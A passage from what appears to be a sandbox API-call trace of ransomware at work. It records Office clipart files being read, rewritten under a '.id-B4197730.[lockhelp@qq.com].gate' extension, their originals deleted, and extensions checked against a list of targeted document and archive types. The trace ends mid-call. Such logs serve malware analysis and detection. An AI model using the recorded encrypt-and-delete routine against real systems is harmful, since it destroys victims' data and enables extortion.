[0316.513] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.513] SetEndOfFile (hFile=0x4f0) returned 1 [0316.521] CloseHandle (hObject=0x4f0) returned 1 [0316.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0316.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0316.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0316.522] lstrlenW (lpString=".doc") returned 4 [0316.522] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.522] lstrlenW (lpString=".docx") returned 5 [0316.522] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0316.522] lstrlenW (lpString=".pdf") returned 4 [0316.522] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.522] lstrlenW (lpString=".xls") returned 4 [0316.522] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.522] lstrlenW (lpString=".xlsx") returned 5 [0316.522] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0316.522] lstrlenW (lpString=".ppt") returned 4 [0316.522] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0316.522] lstrlenW (lpString=".zip") returned 4 [0316.522] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.522] lstrlenW (lpString=".rar") returned 4 [0316.523] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.523] lstrlenW (lpString=".bz2") returned 4 [0316.523] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.523] lstrlenW (lpString=".7z") returned 3 [0316.523] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0316.523] lstrlenW (lpString=".dbf") returned 4 [0316.523] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0316.523] lstrlenW (lpString=".1cd") returned 4 [0316.523] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0316.523] lstrlenW (lpString=".jpg") returned 4 [0316.523] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.523] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10898) returned 1 [0316.523] CloseHandle (hObject=0x4f0) returned 1 [0316.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0316.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0316.524] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.524] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0316.524] GetLastError () returned 0x0 [0316.524] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0316.566] WriteFile (in: hFile=0x52c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0316.608] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.608] WriteFile (in: hFile=0x52c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.608] SetEndOfFile (hFile=0x52c) returned 1 [0316.608] CloseHandle (hObject=0x52c) returned 1 [0316.608] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.608] SetEndOfFile (hFile=0x4f0) returned 1 [0316.668] CloseHandle (hObject=0x4f0) returned 1 [0316.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0316.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0316.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0316.683] lstrlenW (lpString=".doc") returned 4 [0316.683] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.683] lstrlenW (lpString=".docx") returned 5 [0316.683] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0316.683] lstrlenW (lpString=".pdf") returned 4 [0316.683] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.683] lstrlenW (lpString=".xls") returned 4 [0316.683] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.683] lstrlenW (lpString=".xlsx") returned 5 [0316.683] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0316.683] lstrlenW (lpString=".ppt") returned 4 [0316.683] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0316.683] lstrlenW (lpString=".zip") returned 4 [0316.683] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.683] lstrlenW (lpString=".rar") returned 4 [0316.683] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.683] lstrlenW (lpString=".bz2") returned 4 [0316.683] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.683] lstrlenW (lpString=".7z") returned 3 [0316.683] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0316.683] lstrlenW (lpString=".dbf") returned 4 [0316.683] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0316.683] lstrlenW (lpString=".1cd") returned 4 [0316.683] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0316.683] lstrlenW (lpString=".jpg") returned 4 [0316.683] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.684] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3904) returned 1 [0316.684] CloseHandle (hObject=0x528) returned 1 [0316.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0316.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0316.684] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.684] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0316.685] GetLastError () returned 0x0 [0316.685] ReadFile (in: hFile=0x528, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xf40, lpOverlapped=0x0) returned 1 [0316.788] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xf50, lpOverlapped=0x0) returned 1 [0316.789] ReadFile (in: hFile=0x528, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.789] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0316.789] SetEndOfFile (hFile=0x468) returned 1 [0316.789] CloseHandle (hObject=0x468) returned 1 [0316.789] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.789] SetEndOfFile (hFile=0x528) returned 1 [0316.795] CloseHandle (hObject=0x528) returned 1 [0316.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0317.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0317.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0317.028] lstrlenW (lpString=".doc") returned 4 [0317.028] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0317.028] lstrlenW (lpString=".docx") returned 5 [0317.028] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0317.029] lstrlenW (lpString=".pdf") returned 4 [0317.029] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0317.029] lstrlenW (lpString=".xls") returned 4 [0317.029] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0317.029] lstrlenW (lpString=".xlsx") returned 5 [0317.029] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0317.029] lstrlenW (lpString=".ppt") returned 4 [0317.029] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0317.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0317.029] lstrlenW (lpString=".zip") returned 4 [0317.029] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0317.029] lstrlenW (lpString=".rar") returned 4 [0317.029] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0317.029] lstrlenW (lpString=".bz2") returned 4 [0317.029] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0317.029] lstrlenW (lpString=".7z") returned 3 [0317.029] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0317.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0317.029] lstrlenW (lpString=".dbf") returned 4 [0317.029] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0317.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0317.029] lstrlenW (lpString=".1cd") returned 4 [0317.029] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0317.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0317.029] lstrlenW (lpString=".jpg") returned 4 [0317.029] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0317.030] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=31968) returned 1 [0317.030] CloseHandle (hObject=0x554) returned 1 [0317.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0317.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0317.030] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.030] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0317.031] GetLastError () returned 0x0 [0317.031] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0317.199] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0317.200] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.200] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.200] SetEndOfFile (hFile=0x404) returned 1 [0317.239] CloseHandle (hObject=0x404) returned 1 [0317.244] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.244] SetEndOfFile (hFile=0x554) returned 1 [0317.254] CloseHandle (hObject=0x554) returned 1 [0317.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0317.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0317.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0317.255] lstrlenW (lpString=".doc") returned 4 [0317.255] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.255] lstrlenW (lpString=".docx") returned 5 [0317.255] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0317.255] lstrlenW (lpString=".pdf") returned 4 [0317.256] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString=".xls") returned 4 [0317.256] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString=".xlsx") returned 5 [0317.256] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0317.256] lstrlenW (lpString=".ppt") returned 4 [0317.256] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0317.256] lstrlenW (lpString=".zip") returned 4 [0317.256] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString=".rar") returned 4 [0317.256] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString=".bz2") returned 4 [0317.256] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString=".7z") returned 3 [0317.256] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0317.256] lstrlenW (lpString=".dbf") returned 4 [0317.256] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0317.256] lstrlenW (lpString=".1cd") returned 4 [0317.256] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0317.256] lstrlenW (lpString=".jpg") returned 4 [0317.256] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.257] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=32184) returned 1 [0317.257] CloseHandle (hObject=0x554) returned 1 [0317.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0317.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0317.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.259] GetLastError () returned 0x0 [0317.259] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.327] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.328] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.328] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.329] SetEndOfFile (hFile=0x50c) returned 1 [0317.329] CloseHandle (hObject=0x50c) returned 1 [0317.329] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.329] SetEndOfFile (hFile=0x554) returned 1 [0317.331] CloseHandle (hObject=0x554) returned 1 [0317.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0317.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0317.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0317.333] lstrlenW (lpString=".doc") returned 4 [0317.333] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString=".docx") returned 5 [0317.333] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0317.333] lstrlenW (lpString=".pdf") returned 4 [0317.333] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString=".xls") returned 4 [0317.333] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString=".xlsx") returned 5 [0317.333] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0317.333] lstrlenW (lpString=".ppt") returned 4 [0317.333] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0317.333] lstrlenW (lpString=".zip") returned 4 [0317.333] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString=".rar") returned 4 [0317.333] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString=".bz2") returned 4 [0317.333] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString=".7z") returned 3 [0317.333] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0317.333] lstrlenW (lpString=".dbf") returned 4 [0317.333] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0317.333] lstrlenW (lpString=".1cd") returned 4 [0317.333] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0317.333] lstrlenW (lpString=".jpg") returned 4 [0317.333] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.334] GetFileSizeEx (in: hFile=0x554, 